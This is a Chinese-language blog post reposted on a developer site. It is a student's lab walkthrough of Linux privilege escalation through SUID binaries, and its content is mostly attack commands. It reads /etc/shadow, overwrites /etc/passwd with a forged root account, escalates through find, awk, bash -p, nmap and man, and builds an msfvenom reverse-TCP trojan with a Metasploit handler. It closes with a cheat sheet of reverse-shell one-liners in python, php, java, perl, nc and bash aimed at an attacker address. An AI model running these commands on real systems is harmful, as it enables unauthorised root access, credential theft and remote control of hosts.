热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Linux提权之suid篇

Linux提权之suid篇不知攻,焉知防一个在安服路上摸索的大三生,记录平时学习笔记suid前言:1.只有可以执行的二进制程序文件才

Linux提权之suid篇

不知攻,焉知防
一个在安服路上摸索的大三生,记录平时学习笔记


suid前言:

1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
2.命令执行者要对该程序文件拥有执行(x)权限.
3.命令执行者在执行该程序时获得该程序文件属主的身份.
4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效


实验环境:

kali攻击机
靶机账号 :muhammad 密码 : nasef


START:


靶机自带提权文件suid ---- 位于/home/muhammad/vuln/1 下


1)ls -al 查看文件是否可以执行

在这里插入图片描述

发现可以直接执行


2)执行得到一个交互式shell,通过使用id 及 whoami查看 是一个具有root权限的普通shell

在这里插入图片描述
Tip : uid为0代表超级管理员root 红帽企业RHEL <7.0 为0-499 > 8.0为0-1000 ;500-65535 或者1000-65535为普通用户


3)接下来可以通过反弹shell将该通道反弹给攻击机 — 本文最后介绍


其他suid提权

可供用来进行suid 提权的有find 、 nano 、 vim 、 awk 、 bash 、 less 、 nmap 、 more 、curl 、 cp 、man 、mv
通过三条命令可以查看当前可以具有suid权限的文件且拥有者为root
1)find / -perm -u=s -type f 2> /dev/null PS: /dev/null 是Linux中一个特殊的文件,理解为“黑洞”即可 (最好用,个人觉得)
2)find / -user root -perm -4000 -print 2> /dev/null
3)find / -user root -perm -4000 -exec ls -ldb {} ;
PS : -exec 选项要与 ‘;’ 相结合使用【-exec + command 、 ;为结束标志 、 \是转义 】; ’{}’ 代表前面所查找到的所有相关文件 //粗浅的自我认识 :-exec选项的作用就相当于一个管道:前面的输出作为后面的输入
在这里插入图片描述
Kip : 建议使用kali直连靶机,毕竟只是实验


(1)more 、vim 、 nano 、less 用法相似

以more为例子:
在这里插入图片描述
成功get到原本普通用户无法得到的信息,之后可以通过more /etc/shadow > 1.txt


(2)mv和cp用法一致: 覆盖/etc/shadow文件


1)通过scp命令从靶机上面下载 /etc/passwd

scp muhammad@192.168.169.140:/etc/shadow /root/Desktop


2)kali上通过OpenSSL进行密码编译 ,创建不存在账号。

openssl passwd -1 -salt magisec 123456
在这里插入图片描述
仿照muhammad账号创建:
在这里插入图片描述
其中各参数意思:
登录用户名 密码(x为安全考虑) 用户id(UID) 组ID(GID) 用户备注信息 用户家目录 用户的bash


3)想当然地继续通过scp将修改后的passwd文件替换结果发现没有权限在这里插入图片描述

能利用之前获得的root权限的sh界面进行开放http服务使用wget进行下载


4)wget http://192.169.141/passwd


5)cp命令覆盖/etc/passwd

cp passwd /etc/passwd


6)使用自己创建的账号登录,用id查看

在这里插入图片描述
发现提权成功


(3)find 提权


1)由于当前靶机没有find ,先赋予find suid权限

在这里插入图片描述


2)创建普通文件hquhqu,并输入命令 find hquhqu -exec whoami ; 发现用户变为root

在这里插入图片描述


(4)nmap 提权 :适用于版本2.02-5.21

PS :由于没有找到可以进行实验的nmap版本,纯理论讲一讲
介绍两个方法:


方法一:


1)通过nmap --interactive (或者 -i) 启动交互模式

2)!sh 执行之后得到一个提权后的shell

方法二:Metasploit exp exploit/unix/local/setuid_nmap

通过打开msf ,use 此模块后发现需要参数session 。接下来是获取session


1)木马制作

(1)通过msfvenom 制作linux木马

木马制作方法: msfvenom -l payloads | grep linux/x64/meterpreter ----- 查看可以反弹meterpreter的exp
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=本地IP lport=本机需要监听的端口 -a x64 --platform linux -f elf > 需要输出的文件名
在这里插入图片描述
制作成功!
通过scp test /home/muhammad 传到对应靶机目录 或者将该木马挂载到网站根目录,靶机再通过wget进行下载
-----------现实中是通过社工或者各种漏洞进行上传木马


(2)启动msf

service postgresql start —打开对应数据库
msfconsole —启动msf
在这里插入图片描述


(3)开始监听,得到session

Use exploit/multi/handler —使用监听模块
Set payload linux/x64/meterpreter/reverse_tcp —设置有效载荷,与木马制作时一致
Set lhost 、 lport — 设置IP和端口 : 也与木马制作时一致
Run / exploit
然后再通过靶机执行生成的木马,需要先赋予执行权限再 ./ 执行
在这里插入图片描述
在这里插入图片描述
得到session,然后background挂起之后再使用上面的模块进行攻击


(5)awk提权 :命令awk ‘BEGIN{system(“whoami”)}’

在这里插入图片描述
一通花里胡哨的操作,别问我为什么这么做,小白的世界你不懂
在这里插入图片描述再次确认是否存在该文件

在这里插入图片描述
提权成功 !


(6)Bash提权: bash -p

在这里插入图片描述


(7)Curl提权 : curl file:///etc/shadow

在这里插入图片描述


(8)man提权

在这里插入图片描述
修改完man后发现无论输入什么都会回到root用户,没明白为什么,想了一会,发现是从bash提权之后才发生的,修改bash回原来样子即可

在这里插入图片描述
虽然有个warning,但还是提权成功


存疑的一个提权:


su 【之前看到某些大佬将这一个列进去了,但自己未实现】

在这里插入图片描述
在这里插入图片描述
无法执行


反弹shell:


使用场景:

受控主机在网络内部,无法通过某些服务进行连接,该主机经常更换IP地址,导致没有办法对主机进行控制。可以使用反弹shell的操作,将主机的shell界面行反弹给攻击者,使攻击者拥有操控内网主机的权力。


python脚本反弹

python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘攻击者ip’,监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([’/bin/bash’,’-i’]);”


php脚本反弹

php -r ‘exec("/bin/bash -i >& /dev/tcp/攻击者ip/监听端口")’
php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/bash -i <&3 >&3 2>&3");’


java脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])
p.waitFor()


perl脚本反弹

perl -e ‘use Socket;i="ip";i="ip";i="ip";p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(p,inetaton(p,inet_aton(p,inetaton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’


nc反弹

nc -t -e /bin/bash ip port


bash命令反弹

/bin/bash >& /dev/tcp/127.0.0.1/6789 0>&1


推荐阅读
  • 本文详细介绍了如何在Linux系统上安装和配置Smokeping,以实现对网络链路质量的实时监控。通过详细的步骤和必要的依赖包安装,确保用户能够顺利完成部署并优化其网络性能监控。 ... [详细]
  • 本文详细介绍了如何在云服务器上配置Nginx、Tomcat、JDK和MySQL。涵盖从下载、安装到配置的完整步骤,帮助读者快速搭建Java Web开发环境。 ... [详细]
  • CentOS 7.6环境下Prometheus与Grafana的集成部署指南
    本文旨在提供一套详细的步骤,指导读者如何在CentOS 7.6操作系统上成功安装和配置Prometheus 2.17.1及Grafana 6.7.2-1,实现高效的数据监控与可视化。 ... [详细]
  • 本文档详细介绍了在 Kubernetes 集群中部署 ETCD 数据库的过程,包括实验环境的准备、ETCD 证书的生成及配置、以及集群的启动与健康检查等关键步骤。 ... [详细]
  • PostgreSQL 10 离线安装指南
    本文详细介绍了如何在无法联网的服务器上进行 PostgreSQL 10 的离线安装,并涵盖了从下载安装包到配置远程访问的完整步骤。 ... [详细]
  • 本文详细介绍了如何规划和部署一个高可用的Etcd集群,包括主机配置、软件安装、防火墙设置及集群健康检查等内容。通过合理的硬件配置和网络规划,确保Etcd集群在生产环境中的稳定运行。 ... [详细]
  • Nginx 反向代理与负载均衡实验
    本实验旨在通过配置 Nginx 实现反向代理和负载均衡,确保从北京本地代理服务器访问上海的 Web 服务器时,能够依次显示红、黄、绿三种颜色页面以验证负载均衡效果。 ... [详细]
  • 嵌入式开发环境搭建与文件传输指南
    本文详细介绍了如何为嵌入式应用开发搭建必要的软硬件环境,并提供了通过串口和网线两种方式将文件传输到开发板的具体步骤。适合Linux开发初学者参考。 ... [详细]
  • 本文详细介绍了如何在PHP中进行数组删除、清空等操作,并提供了在Visual Studio Code中创建PHP文件的步骤。 ... [详细]
  • ElasticSearch 集群监控与优化
    本文详细介绍了如何有效地监控 ElasticSearch 集群,涵盖了关键性能指标、集群健康状况、统计信息以及内存和垃圾回收的监控方法。 ... [详细]
  • 本文探讨了如何在Classic ASP中实现与PHP的hash_hmac('SHA256', $message, pack('H*', $secret))函数等效的哈希生成方法。通过分析不同实现方式及其产生的差异,提供了一种使用Microsoft .NET Framework的解决方案。 ... [详细]
  • Win10 UWP 开发技巧:利用 XamlTreeDump 获取 XAML 元素树
    本文介绍如何在 Win10 UWP 开发中使用 XamlTreeDump 库来获取和转换 XAML 元素树为 JSON 字符串,这对于 UI 单元测试非常有用。 ... [详细]
  • 在Linux系统上构建Web服务器的详细步骤
    本文详细介绍了如何在Linux系统上搭建Web服务器的过程,包括安装Apache、PHP和MySQL等关键组件,以及遇到的一些常见问题及其解决方案。 ... [详细]
  • iTOP4412开发板QtE5.7源码编译指南
    本文详细介绍了如何在iTOP4412开发板上编译QtE5.7源码,包括所需文件的位置、编译器设置、触摸库编译以及QtE5.7的完整编译流程。 ... [详细]
  • 在Kubernetes集群中部署Kuboard
    本文详细介绍了如何在Kubernetes(简称k8s)环境中部署Kuboard,包括必要的命令和步骤,帮助用户顺利完成安装。 ... [详细]
author-avatar
手机用户2702932960
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有